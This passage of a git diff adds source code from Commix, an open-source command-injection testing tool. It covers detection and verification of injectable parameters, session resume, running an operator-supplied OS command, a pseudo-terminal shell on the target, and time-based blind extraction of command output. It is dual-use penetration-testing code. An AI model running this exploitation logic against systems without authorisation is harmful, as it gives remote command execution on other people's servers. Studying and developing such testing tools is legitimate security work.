+ stored_row = settings.STORED_TECHNIQUES.get(technique) if settings.LOAD_SESSION else None
+ if stored_row:
+ try:
+ url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row)
+ url, prefix = session_handler.reapply_testable_value(url, vuln_parameter, http_request_method, prefix)
+ if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
+ settings.FILE_BASED_STATE = True
+ checks.check_for_stored_tamper(payload)
+ tmp_path = ""
+ OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG, prompt=False)
+ if re.findall(settings.DIRECTORY_REGEX,payload):
+ filepath = re.findall(settings.DIRECTORY_REGEX,payload)[0]
+ settings.WEB_ROOT = os.path.dirname(filepath)
+ settings.CUSTOM_WEB_ROOT = True
+ tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response)
+ elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
+ tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response)
+ else:
+ if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED:
+ settings.RESULTS_BASED_STATE = True
+ elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
+ settings.EVAL_BASED_STATE = True
+ checks.check_for_stored_tamper(payload)
+ resumed = True
+ except TypeError:
+ checks.error_loading_session_file()
+ except session_handler.StoredWebRootConflict:
+ pass
+
+ if not resumed:
+ i = i + 1
+ # Check for bad combination of prefix and separator
+ combination = prefix + separator
+ if combination in settings.JUNK_COMBINATION:
+ prefix = ""
+
+ if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
+ if tmp_path is None:
+ url_time_response = 0
+ tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response)
+ # The output file for file-based injection technique.
+ OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG)
+ else:
+ randv1 = random.randrange(100)
+ randv2 = random.randrange(100)
+ randvcalc = randv1 + randv2
+
+ # Define alternative interpreter
+ interpreter = menu.options.interpreter
+ try:
+ # File-based decision payload (check if host is vulnerable).
+ if interpreter:
+ if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
+ payload = payloads.decision_alter_interpreter(separator, TAG, OUTPUT_TEXTFILE)
+ else:
+ payload = payloads.decision_alter_interpreter(separator, TAG, randv1, randv2)
+ else:
+ if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
+ payload = payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
+ else:
+ # Classic decision payload (check if host is vulnerable).
+ payload = payloads.decision(separator, TAG, randv1, randv2)
+
+ # No payload for this separator - cmd.exe cannot chain on it, so there is nothing to send.
+ if not payload:
+ checks.injection_process(injection_type, technique, done=bool(no_result and i >= total), i=i, total=total)
+ continue
+
+ vuln_parameter = ""
+ response, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url)
+ if technique != settings.INJECTION_TECHNIQUE.FILE_BASED:
+ # Try target page reload (if it is required).
+ if settings.URL_RELOAD:
+ response = requests.url_reload(url, timesec)
+ # Evaluate test results.
+ time.sleep(timesec)
+ shell = injector.injection_test_results(response, TAG, randvcalc, technique, payload)
+ done = bool(shell) or (no_result and i >= total)
+ checks.injection_process(injection_type, technique, done=done, i=i, total=total)
+ # Armed, not fired: the boundary this technique was confirmed on is in hand here and
+ # nowhere near the file-based technique that needs the document root, so what can carry a
+ # command is kept for it to ask with - and only where the root is not already settled.
+ if shell and not settings.USER_APPLIED_WEB_ROOT and not settings.WEB_ROOT_SETTLED_ONCE:
+ # Neither an output file nor a baseline response time of its own: only the file-based
+ # technique writes one, and only the time-related ones measure the other - this is armed
+ # on the techniques that read their answer straight off the page, which need neither.
+ #
+ # 'results_based_injector' because of when it is called rather than what it is: the
+ # time-based technique has run by then and left its own flag standing, and the injector
+ # kept here reads the page back - handed the time-related argument list, it raises.
+ settings.WEB_ROOT_PROBE = execution.make_simple_execute_cmd(injector, separator, 0, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, 0, technique, "", results_based_injector=True)
+ else:
+ try:
+ time.sleep(timesec)
+ output = injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique)
+ response = checks.get_response(output)
+ if type(response) is bool:
+ html_data = ""
+ else:
+ html_data = checks.process_page_content(response, action="decode", guard=TAG)
+ # The marker written here is what the file holds until a command overwrites it, so it
+ # is remembered as such - a command the target never runs leaves it in place, and the
+ # read that follows would otherwise hand it back as that command's own output.
+ injector.remember_output_file(response)
+ shell = re.findall(r"" + TAG + "", str(html_data))
+ if len(shell) == 0 :
+ raise _urllib.error.HTTPError(url, int(settings.NOT_FOUND_ERROR), 'Error', {}, None)
+ else:
+ if shell[0] == TAG:
+ checks.injection_process(injection_type, technique, done=True)
+
+ except _urllib.error.HTTPError as e:
+ if str(e.getcode()) == settings.NOT_FOUND_ERROR:
+ if settings.CALL_TMP_BASED is True:
+ exit_loops = True
+ dest_dir = os.path.dirname(menu.options.file_dest.replace("\\", "/"))
+ tmp_path = checks.normalize_target_dir(dest_dir)
+ checks.tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response)
+ raise
+ # Show an error message, after N failed tries.
+ # Use the "/tmp/" directory for tempfile-based technique.
+ elif (i == failed_tries and no_result is True) or (i == total):
+ """
+ A directory-choice menu left more candidates untried - move on to the next one
+ before ever offering "/tmp/". Done as a fresh call, not a 'continue' in place: 'i'
+ only ever counted up against the one 'combinations' list this call already built,
+ and the 'for' loop walking it does not rewind because a counter did - resetting 'i'
+ alone tried the new root against whatever few combinations were left in that same
+ exhausted pass, not a fair run of its own, and read as "still not injectable" after
+ barely trying. A fresh call builds its own list and its own count from zero.
+ """
+ if not settings.USER_APPLIED_WEB_ROOT and settings.WEB_ROOT_CANDIDATES:
+ settings.CUSTOM_WEB_ROOT = False
+ checks.custom_web_root(url, timesec, filename, http_request_method, url_time_response)
+ return do_results_based_process(url, timesec, filename, http_request_method, injection_type, technique)
+ # Offered before giving up rather than instead of the last combinations: where
+ # there are fewer of those than '--failed-tries' allows, every one of them is
+ # still tried, and the temporary directory is what follows them failing.
+ # Truthy means the tempfile-based fallback already handled it - stop here.
+ if checks.use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response):
+ return True
+ if i == total:
+ if checks.finalize(exit_loops, no_result, i, total, injection_type, technique, shell):
+ continue
+ else:
+ raise
+ else:
+ if checks.finalize(exit_loops, no_result, i, total, injection_type, technique, shell):
+ continue
+ else:
+ raise
+
+ elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR:
+ err_msg = "You need authorization to access this page: '" + settings.DEFINED_WEBROOT + "'."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ checks.quit(filename, url, hard_exit=False)
+
+ elif str(e.getcode()) == settings.FORBIDDEN_ERROR:
+ err_msg = "You do not have access to this page: '" + settings.DEFINED_WEBROOT + "'."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ checks.quit(filename, url, hard_exit=False)
+
+ except KeyboardInterrupt:
+ if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
+ # Delete previous shell (text) files (output)
+ if 'vuln_parameter' in locals():
+ delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique)
+ else:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ # Always raises; let injection_process() handle the skip/end/next/quit action.
+ checks.handle_detection_interrupt(filename, url)
+
+ except SystemExit:
+ if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
+ if 'vuln_parameter' in locals():
+ delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique)
+ else:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ raise
+
+ except _urllib.error.URLError as e:
+ if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
+ warn_msg = "It seems you do not have permission to "
+ warn_msg += "read and/or write files in directory '" + settings.WEB_ROOT + "'."
+ settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg))
+ err_msg = str(e).replace(": "," (") + ")."
+ if settings.VERBOSITY_LEVEL >= 2:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ # Provide custom server's root directory.
+ if not settings.USER_APPLIED_WEB_ROOT:
+ settings.CUSTOM_WEB_ROOT = False
+ checks.custom_web_root(url, timesec, filename, http_request_method, url_time_response)
+ continue
+
+ except EOFError:
+ checks.EOFError_err_msg()
+ raise
+
+ except Exception:
+ if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
+ raise
+ else:
+ continue
+
+ # Yaw, got shellz!
+ # Do some magic tricks!
+ if shell and not resumed:
+ # Re-verify with a fresh marker/pair each round - left unannounced, since the parameter as a
+ # whole gets one such announcement of its own once every technique has had its turn.
+ verified = True
+ if technique == settings.INJECTION_TECHNIQUE.FILE_BASED and settings.TARGET_OS != settings.OS.WINDOWS:
+ # One write + one fetch for all rounds, not a cycle per round.
+ verify_tags = [''.join(random.choice(string.ascii_uppercase) for _ in range(6)) for _ in range(settings.RESULTS_BASED_VERIFY_ROUNDS)]
+ if interpreter:
+ verify_payload = payloads.decision_combined_alter_interpreter(separator, verify_tags, OUTPUT_TEXTFILE)
+ else:
+ verify_payload = payloads.decision_combined(separator, verify_tags, OUTPUT_TEXTFILE)
+ requests.perform_injection(prefix, suffix, whitespace, verify_payload, "", http_request_method, url)
+ time.sleep(timesec)
+ verify_response = injector.fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique)
+ verify_html_data = "" if verify_response is None or type(verify_response) is bool else checks.process_page_content(verify_response, action="decode", guard=verify_tags[0])
+ # The markers written just now are the last thing in the file before a command is, so this
+ # is what the file still holds if the first command never reaches the target.
+ injector.remember_output_file(verify_response)
+ # Tags must appear in order - rules out a stale/cached file.
+ verified = re.search(r"" + r".*?".join(verify_tags) + r"", str(verify_html_data), re.DOTALL) is not None
+ else:
+ for _verify_round in range(settings.RESULTS_BASED_VERIFY_ROUNDS):
+ verify_tag = ''.join(random.choice(string.ascii_uppercase) for _ in range(6))
+ if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
+ if interpreter:
+ verify_payload = payloads.decision_alter_interpreter(separator, verify_tag, OUTPUT_TEXTFILE)
+ else:
+ verify_payload = payloads.decision(separator, verify_tag, OUTPUT_TEXTFILE)
+ requests.perform_injection(prefix, suffix, whitespace, verify_payload, "", http_request_method, url)
+ time.sleep(timesec)
+ verify_response = injector.fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique)
+ verify_html_data = "" if verify_response is None or type(verify_response) is bool else checks.process_page_content(verify_response, action="decode", guard=verify_tag)
+ injector.remember_output_file(verify_response)
+ verify_shell = re.findall(r"" + verify_tag + "", str(verify_html_data))
+ verified = bool(verify_shell) and verify_shell[0] == verify_tag
+ else:
+ verify_randv1 = random.randrange(100)
+ verify_randv2 = random.randrange(100)
+ verify_randvcalc = verify_randv1 + verify_randv2
+ if interpreter:
+ verify_payload = payloads.decision_alter_interpreter(separator, verify_tag, verify_randv1, verify_randv2)
+ else:
+ verify_payload = payloads.decision(separator, verify_tag, verify_randv1, verify_randv2)
+ verify_response, _, verify_payload, _, _ = requests.perform_injection(prefix, suffix, whitespace, verify_payload, "", http_request_method, url)
+ if settings.URL_RELOAD:
+ verify_response = requests.url_reload(url, timesec)
+ time.sleep(timesec)
+ verified = bool(injector.injection_test_results(verify_response, verify_tag, verify_randvcalc, technique, verify_payload))
+ if not verified:
+ break
+ if not verified:
+ checks.unexploitable_point()
+ shell = False
+ if shell:
+ found = True
+ no_result = False
+ # Export session
+ if not resumed:
+ checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, counter, checks.finding_title(separator, whitespace, bare_prefix, bare_suffix))
+ session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell[0], vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL)
+ else:
+ whitespace = settings.WHITESPACES[0]
+ if not resumed:
+ checks.confirm_boundary(bare_prefix, bare_suffix, separator, whitespace)
+ cmd = maxlen = ""
+ if not 'url_time_response' in locals():
+ url_time_response = ""
+ if technique != settings.INJECTION_TECHNIQUE.FILE_BASED:
+ OUTPUT_TEXTFILE = ""
+ # Registered here, run once at quit().
+ _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique))
+ _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique))
+ _register_post_detection_action(lambda: registry_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique))
+ if menu.options.os_cmd:
+ # Run the command given with '--os-cmd', once, whichever technique got there first.
+ def _run_os_cmd(separator=separator, maxlen=maxlen, TAG=TAG, cmd=menu.options.os_cmd, prefix=prefix, suffix=suffix, whitespace=whitespace, timesec=timesec, http_request_method=http_request_method, url=url, vuln_parameter=vuln_parameter, OUTPUT_TEXTFILE=OUTPUT_TEXTFILE, interpreter=interpreter, filename=filename, url_time_response=url_time_response, technique=technique):
+ if settings.OS_CMD_DONE:
+ return
+ settings.OS_CMD_DONE = True
+ enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)
+ _register_post_detection_action(_run_os_cmd)
+ # Pseudo-Terminal shell
+ if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None:
+ continue
+ else:
+ return
+
+ return exit_handler(no_result)
+
+# eof
diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py
new file mode 100755
index 0000000000..8c384babbe
--- /dev/null
+++ b/src/core/controller/injector.py
@@ -0,0 +1,1962 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+import re
+import os
+import time
+import string
+import random
+import threading
+try:
+ import concurrent.futures
+ _THREADS_SUPPORTED = True
+except ImportError:
+ # "concurrent.futures" needs Python 3.2+; fall back to serial on Python 2.
+ _THREADS_SUPPORTED = False
+from src.core.parse import cmdline as menu
+from src.utils import settings
+from src.utils import logs
+from src.utils import progress
+from src.core.requests import requests
+from src.core.requests import stability
+from src.utils import common
+from src.core.controller import checks
+from src.core.controller import execution
+from src.utils import session_handler
+from src.thirdparty.six.moves import urllib as _urllib
+from src.thirdparty.six.moves import html_parser as _html_parser
+
+"""
+Abort the thread pool on SystemExit; KeyboardInterrupt is handled by the caller.
+"""
+def _abort_executor(executor, exc):
+ executor.shutdown(wait=False, cancel_futures=True)
+ logs.finalize_report(exc.code if isinstance(exc.code, int) else 0)
+ os._exit(exc.code if isinstance(exc.code, int) else 0)
+
+"""
+The main time-realative command injection exploitation.
+"""
+"""
+How many output positions a time-related retrieval resolves at once.
+"""
+def retrieval_concurrency():
+ if settings.THREADS > 1 and _THREADS_SUPPORTED and settings.THREADED_TIME_RETRIEVAL_CHOICE is not False:
+ return settings.THREADS
+ return 1
+
+# Retrieve a command's output from a target that answers only by how long it takes.
+def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique):
+
+ payloads = execution.select_payloads_module(technique)
+
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ cmd, previous_cmd = execution.windows_transform_cmd(cmd, technique, interpreter)
+
+ if menu.options.file_write or menu.options.reg_read or menu.options.reg_add or menu.options.reg_del:
+ minlen = 0
+ else:
+ minlen = 1
+
+ if settings.CALIBRATED_TIMESEC is not None:
+ timesec = settings.CALIBRATED_TIMESEC
+
+ found_chars = False
+ # Retrieving a user command's output is exploitation, even when the finding was resumed.
+ settings.DETECTION_PHASE = False
+ settings.EXPLOITATION_PHASE = True
+ settings.INCOMPLETE_OUTPUT = False
+ # Warn about network load once before the first command that needs it.
+ checks.time_related_attaks_msg()
+ checks.warm_up_response_baseline(url, http_request_method)
+
+ if settings.EXPLOITATION_PHASE and settings.ADJUST_TIME_DELAY_CHOICE is None:
+ msg = "Do you want " + settings.APPLICATION + " to try to optimize the value(s) for delay responses (option '--time-sec')? [Y/n] "
+ settings.ADJUST_TIME_DELAY_CHOICE = common.read_input(msg, default="Y", check_batch=True) in settings.CHOICE_YES
+
+ # An interrupted prior run's partial value carries an already-confirmed length.
+ _stored_partial = None
+ if not menu.options.ignore_session:
+ _candidate = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ if _candidate is not None and _candidate.startswith(settings.PARTIAL_VALUE_MARKER):
+ _stored_partial = _candidate
+ _cached_length = None
+ if _stored_partial is not None:
+ try:
+ _cached_length = int(_stored_partial[len(settings.PARTIAL_VALUE_MARKER):].split(":", 1)[0])
+ except ValueError:
+ _cached_length = None
+
+ # The length and character payloads read their value off a PowerShell on the target, and its
+ # first launch is served cold - tens of seconds, where every one after it costs about a second.
+ # Measured, that start reads as a delay the payload never asked for, and recorded, it widens the
+ # model every later comparison is judged against. Paid once here, before either can happen.
+ def _warm_up_target_shell():
+ if settings.TARGET_OS != settings.OS.WINDOWS:
+ return
+ safe_candidate = int(maxlen) * 2 + 100
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ probe = payloads.get_length(separator, cmd, safe_candidate, timesec, http_request_method)
+ else:
+ probe = payloads.cmd_execution(separator, cmd, safe_candidate, OUTPUT_TEXTFILE, timesec, http_request_method)
+ if not probe:
+ return
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Warming up the target's shell, so that its first start is not measured."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ try:
+ requests.perform_injection(prefix, suffix, whitespace, probe, vuln_parameter, http_request_method, url)
+ except KeyboardInterrupt:
+ checks.handle_exploitation_interrupt(filename, url)
+ except Exception:
+ pass
+
+ # Sample how long the target takes to answer when nothing is asking it to wait.
+ def _warm_up_baseline(announce=True):
+ # With '--disable-stats' a probe is read against the delay it asked for and nothing else, so
+ # neither model is consulted and neither is worth the requests that fill it.
+ if menu.options.disable_stats:
+ return
+ fan_out = retrieval_concurrency()
+ # A model of responses asked for one at a time says nothing about how the target answers while
+ # it is serving several: those take longer, and every one of them then reads as a delay the
+ # payload never asked for - which is how a character resolves to a value above the real one.
+ # Sampled again here, the way every probe after it is sent.
+ if fan_out > 1 and not settings.CONCURRENT_BASELINE:
+ settings.CONCURRENT_BASELINE = True
+ del settings.RESPONSE_TIMES[:]
+ # What a probe costs is a property of the command being asked, so the previous one's sample is
+ # dropped rather than left to answer for this one.
+ del settings.PROBE_RESPONSE_TIMES[:]
+ # Each model is filled from its own kind of request: the probes below cannot stand in for plain
+ # ones, and pooling them is what lifts the threshold above the delay it is meant to catch.
+ # Left open, so that the dots below carry on under the same line rather than a second warning
+ # being written over the first and both of them claiming to be done.
+ announced = checks.warm_up_response_baseline(url, http_request_method, close=False)
+ if len(settings.PROBE_RESPONSE_TIMES) < settings.MIN_PROBE_RESPONSES:
+ # Silent where the caller has just said what it is taking the model again for: the dots
+ # carry on under that line instead of repeating it.
+ if announce and not announced:
+ # Named for the model it is filling: this one is taken from the payload's own shape, and a
+ # line reading the same as the one before it looks like the same work being done twice.
+ warn_msg = settings.TIMING_PAYLOAD_BASELINE_MSG
+ warn_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..."
+ # The open line says what is being tested, so it is closed rather than written over - and
+ # this one is left open in its turn, for the dots below to be counted off on it.
+ settings.close_progress_line()
+ settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg))
+
+ # One sample, taken with a condition that cannot hold, so no delay is asked for.
+ def _probe():
+ safe_candidate = int(maxlen) * 2 + 100
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ probe = payloads.get_length(separator, cmd, safe_candidate, timesec, http_request_method)
+ else:
+ probe = payloads.cmd_execution(separator, cmd, safe_candidate, OUTPUT_TEXTFILE, timesec, http_request_method)
+ exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, probe, vuln_parameter, http_request_method, url)
+ checks.record_probe_response_time(exec_time)
+ # Skip dots in verbose mode; payload debug lines already show progress.
+ if settings.VERBOSITY_LEVEL == 0:
+ settings.print_data_to_stdout(".")
+
+ # Bounded, and the workers' own failures are re-raised: nothing waits on their results
+ # otherwise, so a probe that raises every time leaves this asking the target forever.
+ probe_rounds = 0
+ max_probe_rounds = settings.MIN_PROBE_RESPONSES * 2
+ while len(settings.PROBE_RESPONSE_TIMES) < settings.MIN_PROBE_RESPONSES and probe_rounds < max_probe_rounds:
+ probe_rounds += 1
+ try:
+ if fan_out > 1:
+ with concurrent.futures.ThreadPoolExecutor(max_workers=fan_out) as executor:
+ for future in [executor.submit(_probe) for _ in range(fan_out)]:
+ future.result()
+ else:
+ _probe()
+ except KeyboardInterrupt:
+ checks.handle_exploitation_interrupt(filename, url)
+ if settings.VERBOSITY_LEVEL == 0:
+ settings.print_data_to_stdout(" (done)")
+ elif announced and settings.VERBOSITY_LEVEL == 0:
+ # Nothing more to sample, but the line the warm-up opened is still waiting to be closed.
+ settings.print_data_to_stdout(" (done)")
+
+ # Note a target that has started answering late of its own accord.
+ def _check_lagging():
+ nonlocal length_suspect, lagging_detected
+ if checks.check_lagging():
+ length_suspect = lagging_detected = True
+
+ # A delay the target's own answers already take is no delay at all - both come back late and the
+ # comparison behind them cannot be read either way. Raised to clear the model before the first
+ # measurement, rather than after a search has spent its requests on answers that all look alike.
+ # Under '--threads' this is what the concurrency costs: several requests at once are served
+ # slower than one, so the delay that told them apart on a quiet target no longer does.
+ # The next delay to try after an answer could not be read: the measured requirement where that is
+ # higher than a single step, since a payload whose own work varies by seconds is never caught up
+ # with one second at a time.
+ def _escalated_delay(current):
+ needed = _needed_delay()
+ stepped = current + settings.TIME_DELAY_STEP
+ return max(stepped, needed) if needed is not None else stepped
+
+ # The delay that would stand above the target's own answers, as the model has them so far.
+ def _needed_delay():
+ threshold = checks.current_delay_threshold()
+ return None if threshold is None else int(threshold) + 1 + settings.TIME_DELAY_STEP
+
+ # Give up the concurrency and take the model again without it, so that what follows is judged
+ # against the way the requests are now sent.
+ def _fall_back_to_single_thread(reason):
+ warn_msg = reason + " Continuing with a single thread"
+ warn_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..."
+ # Whatever was printed last is ended first: the carriage return below returns to the start of
+ # the line, and would otherwise write this message over it. Left open after that, so the dots of
+ # the model being taken again carry on under this line.
+ settings.close_progress_line()
+ settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg))
+ settings.THREADED_TIME_RETRIEVAL_CHOICE = False
+ settings.CONCURRENT_BASELINE = False
+ del settings.RESPONSE_TIMES[:]
+ _warm_up_baseline(announce=False)
+
+ # Raise the delay until it stands clear of the target's own response times.
+ def _raise_delay_above_baseline():
+ nonlocal timesec
+ needed = _needed_delay()
+ if needed is None or needed <= timesec:
+ return
+ # Every probe of every character would pay that longer delay, which is more than the threads
+ # save - so where they are what made the answers slow, they go instead of the delay growing.
+ if retrieval_concurrency() > 1:
+ _fall_back_to_single_thread("Concurrent requests would need a longer delay on every probe.")
+ needed = _needed_delay()
+ if needed is None or needed <= timesec:
+ return
+ timesec = settings.CALIBRATED_TIMESEC = needed
+ warn_msg = "Raising the time delay to " + str(timesec) + " second" + ("s" if timesec > 1 else "")
+ warn_msg += ", so that it stands above the target's own response times."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+ # Guard timesec so concurrent payloads use the same value for sending and validation.
+ timesec_lock = threading.Lock()
+
+ delay_candidates = [0] * settings.TIME_DELAY_CANDIDATES
+ # Lower the delay again where the target has been answering promptly all along.
+ def _adjust_time_delay(exec_time, lower_limit):
+ nonlocal timesec
+ # Never while several requests are in flight. The limit behind this is measured on answers that
+ # were not held back, while most of the probes around them are - and a request that waits its
+ # turn behind those comes back as late as one that was delayed on purpose. Lowered on the
+ # strength of the quick answers, the delay stops standing out from the slow ones at all.
+ # Read as the requests are actually being sent, not as '--threads' asked for them: a run that
+ # has already dropped to a single thread sends them one at a time, and left reading the option
+ # the delay it raised to clear the baseline was never lowered again.
+ if retrieval_concurrency() > 1:
+ return
+ if settings.ADJUST_TIME_DELAY_DISABLED or settings.ADJUST_TIME_DELAY_CHOICE is False:
+ return
+ # Never below the floor 'time_related_timesec()' holds every other caller to, or the
+ # delay is shortened past the point the payload's own cost can be told apart from it.
+ candidate = max(settings.TIME_DELAY_STEP + int(round(lower_limit)), checks.min_safe_timesec())
+ with timesec_lock:
+ delay_candidates.insert(0, candidate)
+ del delay_candidates[settings.TIME_DELAY_CANDIDATES:]
+ if len(set(delay_candidates)) == 1 and candidate < timesec:
+ if exec_time / (1.0 * timesec / candidate) > settings.MIN_VALID_DELAYED_RESPONSE:
+ timesec = settings.CALIBRATED_TIMESEC = candidate
+ info_msg = "Adjusting time delay to " + str(timesec) + " second" + ("s" if timesec > 1 else "") + " due to good response times."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+ # Track clean runs to resume auto-adjustment after a raised delay.
+ def _note_validation_result(retried):
+ with timesec_lock:
+ if retried:
+ settings.VALIDATION_RUN = 0
+ return
+ settings.VALIDATION_RUN += 1
+ if settings.ADJUST_TIME_DELAY_DISABLED and settings.VALIDATION_RUN > settings.VALID_TIME_CHARS_RUN_THRESHOLD:
+ settings.ADJUST_TIME_DELAY_DISABLED = False
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Turning back on the time delay auto-adjustment mechanism."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+
+ length_suspect = False
+ lagging_detected = False
+
+ # Measure once with retries and the shared adaptive delay model for both techniques.
+ def _measure_length(payload):
+ nonlocal length_suspect
+ exec_time = 0
+ errors_before = settings.VISIBLE_CONNECTION_ERRORS
+ for attempt in range(5):
+ before = stability.requests_sent()
+ exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url)
+ if not stability.request_was_retried(before):
+ break
+ if settings.VISIBLE_CONNECTION_ERRORS != errors_before:
+ length_suspect = True
+ decision = checks.time_related_shell(exec_time, timesec)
+ if not decision:
+ checks.record_probe_response_time(exec_time)
+ else:
+ lower_limit = checks.current_delay_threshold(timesec)
+ if lower_limit is not None:
+ _adjust_time_delay(exec_time, lower_limit)
+ return decision
+
+ # Told apart by the difference between a condition that must hold and one that cannot, rather
+ # than by a threshold: the payload's own work counts for seconds of its own on a slow target.
+ # Where the two are indistinguishable, every comparison reads as true and the search would settle
+ # on '--maxlen' and then extract that many characters of noise.
+ def _oracle_holds():
+ # How long the target takes to answer a question about the output's length.
+ def _probe_time(candidate):
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ probe = payloads.get_length(separator, cmd, candidate, timesec, http_request_method)
+ else:
+ probe = payloads.cmd_execution(separator, cmd, candidate, OUTPUT_TEXTFILE, timesec, http_request_method)
+ if not probe:
+ return None
+ # No progress dot of its own: this runs before the retrieval line is printed, where a dot
+ # would sit on its own under the last prompt.
+ exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, probe, vuln_parameter, http_request_method, url)
+ return exec_time
+
+ impossible = int(maxlen) * 2 + 100
+ cannot_hold = must_hold = None
+ for _ in range(settings.FALSE_POSITIVE_RETRIES):
+ try:
+ cannot_hold = _probe_time(impossible)
+ must_hold = _probe_time(int(minlen))
+ except KeyboardInterrupt:
+ # Asked again from the top: a round that was interrupted has nothing of its own to compare,
+ # and what the round before it timed says nothing about this one.
+ checks.handle_exploitation_interrupt(filename, url)
+ cannot_hold = must_hold = None
+ continue
+ if cannot_hold is None or must_hold is None:
+ return True
+ checks.record_probe_response_time(cannot_hold)
+ if must_hold - cannot_hold >= checks.injected_delay(timesec) / 2.0:
+ return True
+ return False
+
+ """
+ Whether the target still delays for a condition that holds whatever the command answered.
+
+ Asked only once the oracle has failed, and it separates the two reasons it can fail: a delay that
+ no longer stands out from the target's own answers, and a command whose output is empty - where
+ every question about the length of that output is correctly answered "no".
+ """
+ def _delay_still_observable():
+ probe = payloads.condition_check(separator, "1 -eq 1", timesec, http_request_method)
+ if not probe:
+ return None
+ try:
+ exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, probe, vuln_parameter, http_request_method, url)
+ except KeyboardInterrupt:
+ checks.handle_exploitation_interrupt(filename, url)
+ return None
+ return checks.time_related_shell(exec_time, timesec)
+
+ # Whether the answers can still be told apart while several requests are in flight - asked of the
